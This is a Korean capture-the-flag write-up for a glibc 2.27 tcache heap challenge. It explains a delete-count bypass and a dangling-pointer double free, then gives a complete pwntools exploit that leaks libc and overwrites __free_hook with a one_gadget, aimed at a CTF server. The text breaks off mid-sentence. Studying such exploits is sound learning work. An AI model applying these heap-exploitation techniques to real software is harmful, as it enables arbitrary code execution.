TL;DR heap challenge, tcache
tcache 가 있는 GLIBC 2.27 라이브러리를 사용하는문제다.
add
table 배열의 index 0~6
에 0x000 ~ 0x400
size 의 chunk 를 할당받아 저장해줄 수 있다.
이미 chunk 가 존재하면 안됨
size 는 size 배열에 저장된다.
edit
table[index] 에 chunk 가 있으면, size[index] 만큼 수정가능.
delete
int delete()
{
int result; // eax
int v2; // [rsp+Ch] [rbp-4h]
puts("인덱스를 입력하시오:");
result = smooth();
v2 = result;
while ( v2 >= 0 && v2 <= 6 )
{
if ( !table[v2] )
return puts("그 인덱스는 비어있소!");
if ( count-- )
{
free(table[v2]);
return puts("삭제되었소.");
}
result = puts("미안하오...더 이상은 제거할 수 없소.\n");
}
return result;
}
table[index] 가 비어있지 않으면, 해제해준다.
해제할 때마다 count 변수를 감소시키는데, 초기값은 5
이고 0이 되면 해제 불가.
→ 0 일때만 제거할 수 없다고 뜨고, 하나 더 감소시켜 -1 이 되면 if 문을 통과할 수 있다.
0일 때 return 을 안해서, 반복문이 한 번 더 실행되어 해당 인덱스가 해제된다.. ?
또한 dangling pointer 가 남아있어 DFB 가능.
check
table[index] 가 비어있지 않으면, 해당 chunk 의 내용을 %s 로 NULL 문자까지 출력해줌.
exploit
로컬 GLIBC 2.27 에는 tcache double check 가 적용되어있다.
서버에는 적용되어있지 않는점을 이용해, 7번 free 해서 tcache bin 을 채울 수 있다.
- 0x400 size chunk
3
개 할당,
index 0 : 7번 해제해서tcache_bin
채움
index 1 : 그 담으로 해제해서unsorted bin
에 들어가게함.
index 2 :top_chunk
와 병합 방지
check 를 통해 libc leak - tcache dup 으로 __free_hook 에 할당받고, 원샷가젯으로 덮는다.
free(3)*2, edit 메뉴로 FD → __free_hook,
chunk 하나 할당하고, 다음 할당할 떄는 원샷가젯 입력
from pwn import *
import subprocess
import sys
slog = lambda s,n:log.info(": ".join([s,hex(n)]))
context.binary = binary = "./훈폰정음"
library="./libc-2.27.so"
# context.log_level='debug'
context.arch="amd64"
b=ELF(binary,checksec=False)
if '1' in sys.argv:
r = remote("ctf.j0n9hyun.xyz", 3041)
lib = ELF(library, checksec=False)
oneshot=list(map(int,subprocess.check_output(["one_gadget","--raw",library]).split()))
print(oneshot)
else:
r = b.process()
lib = b.libc
oneshot=list(map(int,subprocess.check_output(["one_gadget","--raw",lib.path]).split()))
print(oneshot)
def add(index,size,data):
r.sendlineafter(">> ",b"1")
r.sendlineafter(":\n",str(index).encode())
r.sendlineafter(":\n",str(size).encode())
r.sendafter(":\n",data)
def edit(index,data):
r.sendlineafter(">> ",b"2")
r.sendlineafter(":\n",str(index).encode())
r.sendafter(":\n",data)
def free(index):
r.sendlineafter(">> ",b"3")
r.sendlineafter(":\n",str(index).encode())
def view(index):
r.sendlineafter(">> ",b"4")
r.sendlineafter(":\n",str(index).encode())
r.recvuntil(":")
return r.recvuntil("\n\n")[:-2]
add(0,0x400,"x")
add(1,0x400,"x")
add(2,0x400,"x")
for i in range(7):
free(0)
free(1)
# edit(1,b'x'*8)
libc=u64(view(1)+b'\x00\x00')-0x3ebc40
libc=libc&~0xfff
slog("libc",libc)
add(3,0x60,"asdf")
free(3)
free(3)
edit(3,p64(lib.sym['__free_hook']+libc))
pause()
add(4,0x60,'x')
add(5,0x60,p64(libc+oneshot[1]))
free(2)
r.interactive()
malloc hook 으로 덮으려다가 안 사실인데,
fastbin 에서는 bin 을 연결할 때 header 부분을 가리키지만,
tcache 에서는 data 영역 (FD 있는곳) 을 가리키고있었다.
tcache 에 대해서 더 공부해봐야겠다.
아 물론 malloc hook 덮어도 된다! 근데